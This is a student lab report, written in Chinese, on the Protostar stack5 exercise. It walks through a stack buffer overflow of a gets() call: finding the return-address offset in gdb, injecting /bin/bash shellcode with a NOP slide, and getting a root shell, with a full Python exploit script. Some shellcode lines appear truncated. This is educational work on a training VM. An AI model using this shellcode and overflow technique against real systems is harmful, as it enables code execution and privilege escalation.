CS3312 Lab Report Stack5

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到)：

```
080483c4 <main>:
 80483c4:       55                      push   %ebp
 80483c5:       89 e5                   mov    %esp,%ebp
 80483c7:       83 e4 f0                and    $0xfffffff0,%esp
 80483ca:       83 ec 50                sub    $0x50,%esp
 80483cd:       8d 44 24 10             lea    0x10(%esp),%eax
 80483d1:       89 04 24                mov    %eax,(%esp)
 80483d4:       e8 0f ff ff ff          call   80482e8 <gets@plt>
 80483d9:       c9                      leave
 80483da:       c3                      ret
```

C语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[64];

    gets(buffer);
}
```

stack5的源代码非常简单，只有一个gets函数。

由于没有win函数，所以我们这里需要做的是，将shellcode注入到buffer中，然后通过覆盖返回地址，使得程序跳转到buffer中执行shellcode。

变量以及函数位置确定

`buffer`：

通过这句C代码：

```c
gets(buffer);
```

可以定位到汇编中对应的代码为：

```
80483cd:       8d 44 24 10             lea    0x10(%esp),%eax
 80483d1:       89 04 24                mov    %eax,(%esp)
 80483d4:       e8 0f ff ff ff          call   80482e8 <gets@plt>
```

可以看出，`buffer` 数组的开始地址是 `0x10(%esp)`

GDB调试

我们测试输入如下字符串：

exp_104.txt:

```
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
```

- 接下来我们需要通过gdb，来寻找 `callee's return address` 所在的地址和 `buffer` 间的偏移量，来构造buffer overflow的payload

```
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp
   0x080483ca <+6>:     sub    $0x50,%esp
   0x080483cd <+9>:     lea    0x10(%esp),%eax
   0x080483d1 <+13>:    mov    %eax,(%esp)
   0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:    leave
   0x080483da <+22>:    ret
End of assembler dump.
(gdb)
```

添加断点在ret，

```
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < exp_104.txt
Starting program: /opt/protostar/bin/stack5 < exp_104.txt

Breakpoint 1, 0x080483da in main (argc=<error reading variable:
11      stack5/stack5.c: No such file or directory.
(gdb) disas
Dump of assembler code for function main:
   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp
   0x080483ca <+6>:     sub    $0x50,%esp
   0x080483cd <+9>:     lea    0x10(%esp),%eax
   0x080483d1 <+13>:    mov    %eax,(%esp)
   0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:    leave
=> 0x080483da <+22>:    ret
End of assembler dump.
(gdb)
```

执行完 `leave` 后，`%esp` 的值是 `0xbffffcac`，即为main函数的函数栈帧的栈顶地址。

该地址存储的值为 `callee's return address`，我们攻击的目标是需要将其修改为shellcode的起始地址。

```
(gdb) print $esp
$1 = (void *) 0xbffffcac
(gdb)
```

打印 `Mem[0xbffffcac]` 的值，即为 `callee's return address` 的值。

```
(gdb) x/24xw $esp
0xbffffcac:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffffcbc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
0xbffffccc:     0x08048232      0x00000001      0xbffffd10      0xb7ff0626
0xbffffcdc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcec:     0x00000000      0xbffffd28      0x0f6c5a3c      0x252d4c2c
0xbffffcfc:     0x00000000      0x00000000      0x00000000      0x00000001
```

Mem[0xbffffcac] = 0x54545454 = 'TTTT'

我们可以在其之后的地址开始注入shellcode，即 `0xbffffcb0` 处。ret_addr = `0xbffffcb0`

所以，我们可以构造如下的payload：

```
input = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS' + ret_addr + shellcode
```

- 用 INT3 指令来代替shellcode

  我们可以在shellcode中插入INT3指令，来测试shellcode的执行情况。

  ```
  shellcode = '\xcc' * 30
  ret_addr = '\xb0\xfc\xff\xbf' #ret_addr = `0xbffffcb0`
  ```
  这样，当shellcode执行到INT3指令时，会触发一个中断，我们可以通过gdb来查看shellcode的执行情况。

  ```
  input = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS' + ret_addr + shellcode
  ```
  ```
  (gdb) r < stack5_input
  Starting program: /opt/protostar/bin/stack5 < stack5_input

  Program received signal SIGTRAP, Trace/breakpoint trap.
  0xbffffcb1 in ?? ()
  (gdb)
  ```
  显示 SIGTRAP，即INT3指令被触发，说明INT3指令被成功执行。

- 构造完整的攻击脚本

  shellcode代码(/bin/bash):

  ```
  08048054 <.text>:
  8048054:        6a 0b                   push   $0xb
  8048056:        58                      pop    %eax
  8048057:        99                      cltd
  8048058:        52                      push   %edx
  8048059:        66 68 2d 70             pushw  $0x702d
  804805d:        89 e1                   mov    %esp,%ecx
  804805f:        52                      push   %edx
  8048060:        6a 68                   push   $0x68
  8048062:        68 2f 62 61 73          push   $0x7361622f
  8048067:        68 2f 62 69 6e          push   $0x6e69622f
  804806c:        89 e3                   mov    %esp,%ebx
  804806e:        52                      push   %edx
  804806f:        51                      push   %ecx
  8048070:        53                      push   %ebx
  8048071:        89 e1                   mov    %esp,%ecx
  8048073:        cd 80                   int    $0x80
  ```
  python攻击脚本：

  ```
  buffer = b'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS'
  ret_addr = b'\xb0\xd6\xff\xff' #ret_addr = `0xffffd6b0`
  shellcode =
  b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\
  input = buffer + ret_addr + shellcode
  ```
  ```
  (gdb) r <stack5_input
  Starting program: /opt/protostar/bin/stack5 <stack5_input
  Executing new program: /bin/bash

  Program exited normally.
  (gdb)
  ```
  在gdb中我们可以看到已经成功执行了/bin/bash

- 非gdb模式的测试: 在gdb中测试成功后，我们在非gdb模式下测试，却发现提示 `Illegal instruction` 错误。

  ```
  root@protostar:/opt/protostar/bin# ./stack5 < stack5_input
  Illegal instruction
  root@protostar:/opt/protostar/bin#
  ```
  该系统已经确认关闭了ASLR和NX保护，我们推测一定是ret_addr不对，导致shellcode没有被正确执行。

  经过调研相关资料，我们发现在gdb动态调试下，获取的栈的地址与直接运行程序时不一致：https://www.cnblogs.com/yhjoker/p/9161716.html

  正常程序运行时，会将环境变量字符串数组和命令行参数字符串数组存放在栈顶，而程序使用的局部变量等数据则位于这些字符串数组之后。环境变量字符串数组记录了诸如当前用户名、终端类型、搜索路径等环境信息。程序直接运行时，程序进程继承的是运行其的 shell的环境变量，而程序通过 gdb 运行时，程序进程继承的是 gdb 的环境变量，这两者存在不同，从而会造成位于栈上的局部变量的地址发生改变。用户可在 gdb 中运行 show environment 命令获得环境变量参数。

- 解决以及调试方案

  更高级的做法是，我们可以通过 `jmp $esp` 来跳转到buffer中执行shellcode，但是我们这里也很难找到 `jmp $esp` 的地址来作为ret_addr，所以我们只能根据经验猜测正确地址和 `0xffffd6b0` 的偏移量，同时配合在附近内存的 `buffer` 中插入 `INT3` 指令来调试寻找正确的ret_addr

  ```
  buffer = '\xcc' * 76 #代替字母部分
  ret_addr = '\xb0\xfc\xff\xbf' # ret_addr = 0xbffffcb0 需要不断调整
  shellcode =
  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\
  input = payload + ret_addr + shellcode
  print input
  ```

实验发现，返回地址为原来的0xbffffcb0时，SIGTRAP被触发，说明此时地址在buffer的范围里。

我们不断地增加返回地址，直到 `ret_addr = 0xbffffcdc` 时, illegal instruction出现, 说明此时地址已经超出了buffer的范围，而是在将存着的 `ret_addr = 0xbffffcdc` 当作指令执行了。

那么，由于shellcode是在ret_addr之后的地址开始注入的，所以我们可以确定， `0xbffffce0` 是正确的shellcode的起始地址，和gdb情况下 `0xbffffcb0` 的偏移量为 `0x30` 。

我们最后执行的正确的栈布局如下：

地址	该地址的内容 (大小4Bytes)	备注
...	...	后续shellcode
0xbffffce0	0x6a 0x0b 0x58 0x99	shellcode = push $0xb, pop %eax, cltd
0xbffffcdc	0xe0 0xfc 0xff 0xbf	callee's return address = 0xbffffce0
0xbffffcd8	buffer[73:76] = 0xcc 0xcc 0xcc 0xcc	4条INT3指令
...		
0xbffffc8f	buffer[0:4] = 0xcc 0xcc 0xcc 0xcc	4条INT3指令

后来我们了解到了nop_slide技术，可以通过nop指令来填充shellcode的前面，这样就不需要精确的shellcode的起始地址，只需要在buffer的范围内即可。

攻击脚本内容

script_stack5.py:

```
buffer = b'\xcc' * 76

# 0xbffffce0 = 0xbffffcb0 + 0x30
ret_addr = '\xe0\xfc\xff\xbf'

# 防止因为环境变量的不同发生偏移，我们加入nop_slide提高容错率
nop_slide = '\x90' * 64

#/bin/bash
shellcode =
'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\
# 08048054 <.text>:
#  8048054:     6a 0b                   push   $0xb
#  8048056:     58                      pop    %eax
#  8048057:     99                      cltd
#  8048058:     52                      push   %edx
#  8048059:     66 68 2d 70             pushw  $0x702d
#  804805d:     89 e1                   mov    %esp,%ecx
#  804805f:     52                      push   %edx
#  8048060:     6a 68                   push   $0x68
#  8048062:     68 2f 62 61 73          push   $0x7361622f
#  8048067:     68 2f 62 69 6e          push   $0x6e69622f
#  804806c:     89 e3                   mov    %esp,%ebx
#  804806e:     52                      push   %edx
#  804806f:     51                      push   %ecx
#  8048070:     53                      push   %ebx
#  8048071:     89 e1                   mov    %esp,%ecx
#  8048073:     cd 80                   int    $0x80

input = buffer + ret_addr + nop_slide + shellcode

print input
```

在终端中运行：

```
(python ./script_stack5.py ; cat) |  ./stack5
```

结果（非GDB环境）

```
root@protostar:/opt/protostar/bin# (python ./script_stack5.py ; cat) |  ./stack5

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

攻击成功